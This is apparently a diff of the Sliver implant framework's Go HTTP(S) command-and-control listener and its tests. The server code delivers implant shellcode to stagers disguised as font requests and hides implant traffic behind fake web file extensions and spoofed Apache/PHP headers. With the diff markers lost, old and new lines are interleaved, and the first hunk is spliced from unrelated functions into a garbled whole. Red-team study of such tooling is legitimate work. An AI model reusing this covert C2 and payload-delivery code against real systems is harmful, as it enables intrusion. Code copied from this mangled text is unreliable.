Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -19,28 +19,34 @@ package hosts
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
)
|
||||
|
||||
// HostsIOCRmCmd - Remove a host from the database
|
||||
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
|
||||
certs.SetupCAs()
|
||||
|
||||
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
ioc, err := SelectHostIOC(host, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
rr := httptest.NewRecorder()
|
||||
handler := http.HandlerFunc(server.rsaKeyHandler)
|
||||
handler.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
|
||||
}
|
||||
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
|
||||
}
|
||||
@@ -1,138 +0,0 @@
|
||||
package c2
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
implantTransports "github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
func TestRsaKeyHandler(t *testing.T) {
|
||||
certs.SetupCAs()
|
||||
server, err := StartHTTPSListener(&HTTPServerConfig{
|
||||
Addr: "127.0.0.1:8888",
|
||||
EnforceOTP: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Errorf("Listener failed to start %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
router := server.router()
|
||||
|
||||
// Missing parameters
|
||||
rr := httptest.NewRecorder()
|
||||
req, _ := http.NewRequest("GET", "/test/foo.txt", nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
|
||||
// Invalid OTP code
|
||||
for i := 0; i < 100; i++ {
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", fmt.Sprintf("/test/foo.txt?aa=%d", insecureRand.Intn(99999999)), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusNotFound {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusNotFound)
|
||||
}
|
||||
}
|
||||
|
||||
// Valid OTP code
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
|
||||
now := time.Now().UTC()
|
||||
opts := totp.ValidateOpts{
|
||||
Digits: 8,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: uint(30),
|
||||
Skew: uint(1),
|
||||
}
|
||||
secret, _ := cryptography.TOTPServerSecret()
|
||||
code, _ := totp.GenerateCodeCustom(secret, now, opts)
|
||||
|
||||
testURL = client.OTPQueryArgument(baseURL, code)
|
||||
rr = httptest.NewRecorder()
|
||||
req, _ = http.NewRequest("GET", testURL.String(), nil)
|
||||
router.ServeHTTP(rr, req)
|
||||
if status := rr.Code; status != http.StatusOK {
|
||||
t.Errorf("handler returned wrong status code: got %d want %d", status, http.StatusOK)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func TestGetOTPFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
value := fmt.Sprintf("%d", insecureRand.Intn(99999999))
|
||||
testURL := client.OTPQueryArgument(baseURL, value)
|
||||
urlValue, err := getOTPFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlValue != value {
|
||||
t.Fatalf("Mismatched OTP values %s (%s != %s)", testURL.String(), value, urlValue)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetNonceFromURL(t *testing.T) {
|
||||
client := implantTransports.SliverHTTPClient{}
|
||||
for i := 0; i < 100; i++ {
|
||||
baseURL := &url.URL{
|
||||
Scheme: "http",
|
||||
Host: "127.0.0.1:8888",
|
||||
Path: "/test/foo.txt",
|
||||
}
|
||||
nonce, _ := implantEncoders.RandomEncoder()
|
||||
testURL := client.NonceQueryArgument(baseURL, nonce)
|
||||
urlNonce, err := getNonceFromURL(testURL)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
if urlNonce != nonce {
|
||||
t.Fatalf("Mismatched encoder nonces %s (%d != %d)", testURL.String(), nonce, urlNonce)
|
||||
}
|
||||
}
|
||||
}
|
||||
+4
-4
@@ -223,8 +223,8 @@ func StartHTTPListenerJob(conf *HTTPServerConfig) (*core.Job, error) {
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
@@ -315,8 +315,8 @@ func StartHTTPStagerListenerJob(conf *HTTPServerConfig, data []byte) (*core.Job,
|
||||
|
||||
go func() {
|
||||
var err error
|
||||
if server.ServerConf.Secure {
|
||||
if server.ServerConf.ACME {
|
||||
if server.Conf.Secure {
|
||||
if server.Conf.ACME {
|
||||
err = server.HTTPServer.ListenAndServeTLS("", "") // ACME manager pulls the certs under the hood
|
||||
} else {
|
||||
err = listenAndServeTLS(server.HTTPServer, conf.Cert, conf.Key)
|
||||
|
||||
@@ -19,7 +19,6 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
@@ -28,25 +27,19 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"mime"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
@@ -61,26 +54,14 @@ import (
|
||||
var (
|
||||
httpLog = log.NamedLogger("c2", "http")
|
||||
accessLog = log.NamedLogger("c2", "http-access")
|
||||
|
||||
ErrMissingNonce = errors.New("nonce not found in request")
|
||||
ErrMissingOTP = errors.New("otp code not found in request")
|
||||
ErrInvalidEncoder = errors.New("invalid request encoder")
|
||||
ErrDecodeFailed = errors.New("failed to decode request")
|
||||
ErrReplayAttack = errors.New("replay attack detected")
|
||||
)
|
||||
|
||||
const (
|
||||
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
|
||||
DefaultHTTPTimeout = time.Minute * 5
|
||||
DefaultLongPollTimeout = float32(20)
|
||||
DefaultLongPollJitter = float32(20)
|
||||
minPollTimeout = time.Second * 5
|
||||
defaultHTTPTimeout = time.Second * 60
|
||||
pollTimeout = defaultHTTPTimeout - 5
|
||||
sessionCookieName = "PHPSESSID"
|
||||
)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().UnixNano())
|
||||
}
|
||||
|
||||
// HTTPSession - Holds data related to a sliver c2 session
|
||||
type HTTPSession struct {
|
||||
ID string
|
||||
@@ -145,50 +126,33 @@ type HTTPServerConfig struct {
|
||||
Cert []byte
|
||||
Key []byte
|
||||
ACME bool
|
||||
|
||||
MaxRequestLength int
|
||||
|
||||
EnforceOTP bool
|
||||
LongPollTimeout float32
|
||||
LongPollJitter float32
|
||||
}
|
||||
|
||||
// SliverHTTPC2 - Holds refs to all the C2 objects
|
||||
type SliverHTTPC2 struct {
|
||||
HTTPServer *http.Server
|
||||
ServerConf *HTTPServerConfig // Server config (user args)
|
||||
Conf *HTTPServerConfig
|
||||
HTTPSessions *HTTPSessions
|
||||
SliverStage []byte // Sliver shellcode to serve during staging process
|
||||
Cleanup func()
|
||||
|
||||
c2Config *configs.HTTPC2Config // C2 config (from config file)
|
||||
serverVersion string
|
||||
server string
|
||||
poweredBy string
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getServerHeader() string {
|
||||
if s.serverVersion == "" {
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
s.serverVersion = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
|
||||
default:
|
||||
s.serverVersion = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
|
||||
}
|
||||
if s.server == "" {
|
||||
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
|
||||
}
|
||||
return s.serverVersion
|
||||
return s.server
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getCookieName() string {
|
||||
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
|
||||
index := insecureRand.Intn(len(cookies))
|
||||
return cookies[index]
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config {
|
||||
if s.c2Config != nil {
|
||||
return s.c2Config
|
||||
func (s *SliverHTTPC2) getPoweredByHeader() string {
|
||||
if s.poweredBy == "" {
|
||||
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
|
||||
insecureRand.Intn(3), insecureRand.Intn(17))
|
||||
}
|
||||
s.c2Config = configs.GetHTTPC2Config()
|
||||
return s.c2Config
|
||||
return s.poweredBy
|
||||
}
|
||||
|
||||
// StartHTTPSListener - Start an HTTP(S) listener, this can be used to start both
|
||||
@@ -198,7 +162,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
StartPivotListener()
|
||||
httpLog.Infof("Starting https listener on '%s'", conf.Addr)
|
||||
server := &SliverHTTPC2{
|
||||
ServerConf: conf,
|
||||
Conf: conf,
|
||||
HTTPSessions: &HTTPSessions{
|
||||
active: &map[string]*HTTPSession{},
|
||||
mutex: &sync.RWMutex{},
|
||||
@@ -207,9 +171,9 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
server.HTTPServer = &http.Server{
|
||||
Addr: conf.Addr,
|
||||
Handler: server.router(),
|
||||
WriteTimeout: DefaultHTTPTimeout,
|
||||
ReadTimeout: DefaultHTTPTimeout,
|
||||
IdleTimeout: DefaultHTTPTimeout,
|
||||
WriteTimeout: defaultHTTPTimeout,
|
||||
ReadTimeout: defaultHTTPTimeout,
|
||||
IdleTimeout: defaultHTTPTimeout,
|
||||
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
|
||||
}
|
||||
if conf.ACME {
|
||||
@@ -231,7 +195,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancelHTTPS()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := acmeHTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
} else {
|
||||
@@ -241,11 +205,13 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
defer cancel()
|
||||
server.HTTPServer.Shutdown(ctx)
|
||||
if err := server.HTTPServer.Shutdown(ctx); err != nil {
|
||||
httpLog.Warn("Failed to shutdown https server")
|
||||
httpLog.Warnf("Failed to shutdown https server")
|
||||
}
|
||||
}
|
||||
}
|
||||
_, _, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
|
||||
c, k, err := certs.C2ServerGetRSACertificate(conf.Domain)
|
||||
httpLog.Infof("C2-Server: %v %v %v", c, k, err)
|
||||
if err == certs.ErrCertDoesNotExist {
|
||||
httpLog.Infof("Generating C2 server certificate ...")
|
||||
_, _, err := certs.C2ServerGenerateRSACertificate(conf.Domain)
|
||||
@@ -254,86 +220,62 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return server, nil
|
||||
}
|
||||
|
||||
func getHTTPTLSConfig(conf *HTTPServerConfig) *tls.Config {
|
||||
if conf.Cert == nil || conf.Key == nil {
|
||||
var err error
|
||||
if conf.Domain != "" {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
} else {
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost")
|
||||
}
|
||||
conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err)
|
||||
httpLog.Warnf("Failed to generate self-signed tls cert/key pair %v", err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
cert, err := tls.X509KeyPair(conf.Cert, conf.Key)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to parse tls cert/key pair %s", err)
|
||||
httpLog.Warnf("Failed to parse tls cert/key pair %v", err)
|
||||
return nil
|
||||
}
|
||||
return &tls.Config{
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
Certificates: []tls.Certificate{cert},
|
||||
MinVersion: tls.VersionTLS12,
|
||||
CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
|
||||
PreferServerCipherSuites: true,
|
||||
CipherSuites: []uint16{
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
|
||||
tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
|
||||
tls.TLS_RSA_WITH_AES_256_CBC_SHA,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) router() *mux.Router {
|
||||
router := mux.NewRouter()
|
||||
c2Config := s.LoadC2Config()
|
||||
if s.ServerConf.MaxRequestLength < 1024 {
|
||||
s.ServerConf.MaxRequestLength = DefaultMaxBodyLength
|
||||
}
|
||||
if s.ServerConf.LongPollTimeout == 0 {
|
||||
s.ServerConf.LongPollTimeout = DefaultLongPollTimeout
|
||||
s.ServerConf.LongPollJitter = DefaultLongPollJitter
|
||||
}
|
||||
|
||||
// Key Exchange Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.KeyExchangeFileExt),
|
||||
s.rsaKeyHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Start Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt),
|
||||
s.startSessionHandler,
|
||||
).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Session Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt),
|
||||
s.sessionHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
|
||||
// Poll Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt),
|
||||
s.pollHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Close Handler
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt),
|
||||
s.closeHandler,
|
||||
).MatcherFunc(s.filterNonce).Methods(http.MethodGet)
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
|
||||
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
router.HandleFunc(
|
||||
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt),
|
||||
s.stagerHander,
|
||||
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.woff[/]{0,1}.*$}", s.stagerHander).Methods(http.MethodGet)
|
||||
|
||||
// Request does not match the C2 profile so we pass it to the static content or 404 handler
|
||||
if s.ServerConf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.ServerConf.Website)
|
||||
if s.Conf.Website != "" {
|
||||
httpLog.Infof("Serving static content from website %v", s.Conf.Website)
|
||||
router.HandleFunc("/{rpath:.*}", s.websiteContentHandler).Methods(http.MethodGet)
|
||||
} else {
|
||||
// 404 Handler - Just 404 on every path that doesn't match another handler
|
||||
@@ -348,86 +290,19 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
}
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
if s.ServerConf.EnforceOTP {
|
||||
httpLog.Debug("Checking for valid OTP code ...")
|
||||
otpCode, err := getOTPFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
return false
|
||||
}
|
||||
if valid {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
} else {
|
||||
httpLog.Debug("OTP enforcement is disabled")
|
||||
return true // OTP enforcement is disabled
|
||||
}
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (int, error) {
|
||||
qNonce := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
httpLog.Warn("Nonce not found in request")
|
||||
return 0, ErrMissingNonce
|
||||
}
|
||||
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
|
||||
return false // NaN
|
||||
}
|
||||
_, _, err = encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce (%s)", err)
|
||||
return 0, err
|
||||
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
|
||||
return false // Not a valid encoder
|
||||
}
|
||||
return nonce, nil
|
||||
}
|
||||
|
||||
func getOTPFromURL(reqURL *url.URL) (string, error) {
|
||||
otpCode := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 2 {
|
||||
otpCode = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if otpCode == "" {
|
||||
httpLog.Warn("OTP not found in request")
|
||||
return "", ErrMissingNonce
|
||||
}
|
||||
return otpCode, nil
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
var buf bytes.Buffer
|
||||
for _, char := range value {
|
||||
if unicode.IsDigit(char) {
|
||||
buf.WriteRune(char)
|
||||
}
|
||||
}
|
||||
return buf.String()
|
||||
return true
|
||||
}
|
||||
|
||||
func loggingMiddleware(next http.Handler) http.Handler {
|
||||
@@ -441,36 +316,34 @@ func loggingMiddleware(next http.Handler) http.Handler {
|
||||
func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
|
||||
resp.Header().Set("Server", s.getServerHeader())
|
||||
resp.Header().Set("X-Powered-By", s.getPoweredByHeader())
|
||||
resp.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
if resp.Header().Get("Content-type") == "" {
|
||||
contentType := mime.TypeByExtension(req.URL.Path)
|
||||
if contentType != "" {
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
} else {
|
||||
// We add a few more common mime types that aren't detected by
|
||||
// the stdlib mime library
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".jsp"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".phtml"):
|
||||
fallthrough
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
}
|
||||
}
|
||||
|
||||
switch uri := req.URL.Path; {
|
||||
case strings.HasSuffix(uri, ".txt"):
|
||||
resp.Header().Set("Content-type", "text/plain; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".css"):
|
||||
resp.Header().Set("Content-type", "text/css; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".php"):
|
||||
resp.Header().Set("Content-type", "text/html; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".js"):
|
||||
resp.Header().Set("Content-type", "text/javascript; charset=utf-8")
|
||||
case strings.HasSuffix(uri, ".png"):
|
||||
resp.Header().Set("Content-type", "image/png")
|
||||
default:
|
||||
resp.Header().Set("Content-type", "application/octet-stream")
|
||||
}
|
||||
|
||||
next.ServeHTTP(resp, req)
|
||||
})
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI)
|
||||
httpLog.Infof("Request for site %v -> %s", s.Conf.Website, req.RequestURI)
|
||||
contentType, content, err := website.GetContent(s.Conf.Website, req.RequestURI)
|
||||
if err != nil {
|
||||
httpLog.Infof("No website content for %s", req.RequestURI)
|
||||
resp.WriteHeader(http.StatusNotFound) // No content for this path
|
||||
resp.WriteHeader(404) // No content for this path
|
||||
return
|
||||
}
|
||||
resp.Header().Set("Content-type", contentType)
|
||||
@@ -478,19 +351,17 @@ func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http
|
||||
}
|
||||
|
||||
func default404Handler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debugf("[404] No match for %s", req.RequestURI)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
resp.Header().Set("Content-type", mime.TypeByExtension(".html"))
|
||||
resp.WriteHeader(404)
|
||||
}
|
||||
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
|
||||
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Public key request")
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.ServerConf.Domain, err)
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
|
||||
}
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
@@ -500,13 +371,12 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Start http session request")
|
||||
|
||||
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.ServerConf.Domain)
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Warn("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
httpLog.Info("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -516,29 +386,25 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
|
||||
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
|
||||
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
body, err := ioutil.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
resp.WriteHeader(http.StatusNotFound)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
|
||||
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
